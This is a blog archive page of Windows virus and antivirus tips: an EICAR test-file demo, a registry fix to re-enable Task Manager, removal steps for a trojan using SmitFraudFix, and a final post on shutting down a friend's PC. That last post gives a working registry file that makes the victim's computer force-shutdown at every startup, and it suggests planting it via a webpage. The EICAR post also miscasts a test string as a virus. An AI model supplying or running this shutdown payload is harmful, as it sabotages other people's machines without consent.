Showing posts with label Viruses and Antiviruses. Show all posts

Showing posts with label Viruses and Antiviruses. Show all posts

Check your Anti-Virus efficiency - Make a small virus yourself

The Virus Source Code is for information purposes only, for researchers and computer virus or programming enthusiasts. No warranty is given or to be implied for any software listings contained herein. You take full responsibility for any damages caused by compiling, running, or sharing this information. Be aware that running any malicious code on another's computer or computer network might be a criminal act. Use at your own risk! * Open the NotePad program. * Type this code like below into the NotePad file. (Copy and Paste it) X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* * Save the Notepad file as virus.com . To comfortably find the virus.com, I suggest placing it in the Desktop. * Run the virus.com file to test your computer efficiency. If there are not any responses from the AntiVirus software, I suggest changing your AntiVirus immediately because it does not work anymore. * Enjoy testing it and note that this virus.com cannot affect or damage any parts of your computer.

Enable/Disable Your Task Manager

Well, this situation might never arise when you need to Disable your Task manager. But more commonly it happens because of a virus attack. Viruses do disable the Task Manager. Now they do so by editing the Registry values. Even if you remove the viruses, the registry changes will remain and thy will continue to effect your system, until you correct them. This is easy and I will let you know how this can be done with just a small change in Registry. Here’s what you need to do. 1. Go to Start –> Run, and open Regedit. 2. Go to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System 3. If you are infected by a Virus then you will see a Dword Value “DisableTaskMgr“, if not, then create this new value. 4. To Enable it, give a value of “0“, and to Disable it, give it a value of “1“ This is a very simple method by which Task manager can be Enabled/ Disabled. Apart from that, if you are in a network, and want to disable Task manager for a user, then you need to change the Computer Policies.

How to remove trojan.w32.looksky {removal instructions}

Trojan.w32.looksky is another name for the Smitfraud/zlob trojan. SmitFraudFix removes trojan.w32.looksky, but you should also check your system for other malware, and use ATF cleaner to clean your temp files when finished.

Instructions to remove Trojan.w32.looksky using SmitFraudFix

SmitFraudFix only works with Windows XP or 2000

Download SmitfraudFix:Use this URL to download the latest version (the file contains both English and French versions):http://siri.geekstogo.com/SmitfraudFix.exe

Use:

* Search:
o Double-click SmitfraudFix.exe
o Select 1 and hit Enter to create a report of the infected files. The report can be found at the root of the system drive, usually at C:\rapport.txt

Clean:
* Reboot your computer in Safe Mode (before the Windows icon appears, tap the F8 key continually)
* Double-click SmitfraudFix.exe
* Select 2 and hit Enter to delete infect files.
* You will be prompted: Do you want to clean the registry ? answer Y (yes) and hit Enter in order to remove the Desktop background and clean registry keys associated with the infection.
* The tool will now check if wininet.dll is infected. You may be prompted to replace the infected file (if found): Replace infected file ? answer Y (yes) and hit Enter to restore a clean file.
* A reboot may be needed to finish the cleaning process. The report can be found at the root of the system drive, usually at C:\rapport.txt

* Optional:
o To restore Trusted and Restricted site zone, select 3 and hit Enter.
o You will be prompted: Restore Trusted Zone ? answer Y (yes) and hit Enter to delete trusted zone.


Note:

process.exe is detected by some antivirus programs (AntiVir, Dr.Web, Kaspersky) as a "RiskTool". It is not a virus, but a program used to stop system processes. Antivirus programs cannot distinguish between "good" and "malicious" use of such programs, therefore they may alert the user.
Here: http://www.beyondlogic.org/consulting/processutil/processutil.htm

Shutdown your friend's pc

Shutdown ur friend's comp when everytime it starts Thats really easy. put this followin text in a .reg file and run it in the victims pc: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f" DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] and remove the string value named VIRUS, restart you computer. You can also put this in a javascript code, just add this code to your webpage